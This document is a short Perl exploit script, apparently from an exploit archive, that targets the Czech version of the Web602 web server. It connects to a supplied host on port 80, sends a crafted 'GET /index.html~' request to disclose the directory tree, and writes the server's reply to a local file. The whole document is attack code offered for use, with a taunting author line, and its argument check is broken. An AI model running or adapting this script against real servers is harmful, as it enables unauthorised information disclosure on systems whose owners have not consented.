<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">#/usr/bin/perl

#web602 (cezch version) driectory tree exploit..
#Written by eip aka deadbeat aka AnGrY_SQl

use IO::Socket;
print "\nWeb602 (czech version) Directory Tee Exploit\n";
if (!$ARGV&lt; 0) {
   print "Usage: perl $0 &lt;host&gt;\n";
}
$host = $ARGV[0];
$sox = IO::Socket::INET-&gt;new(
   Proto=&gt;"tcp",
   PeerPort=&gt;"80",
   PeerAddr=&gt;$host,
);
print "Connected..DOS attempt now;)\n";
print $sox "GET /index.html~\r\n";
open FILEHANDLE, "&gt;crap.html";
while(&lt;$sox&gt;) {
   print FILEHANDLE;
}
print "Done..\n";
close FILEHANDLE;
close $sox;   
print "Results are in crap.html\n";
</pre></body></html>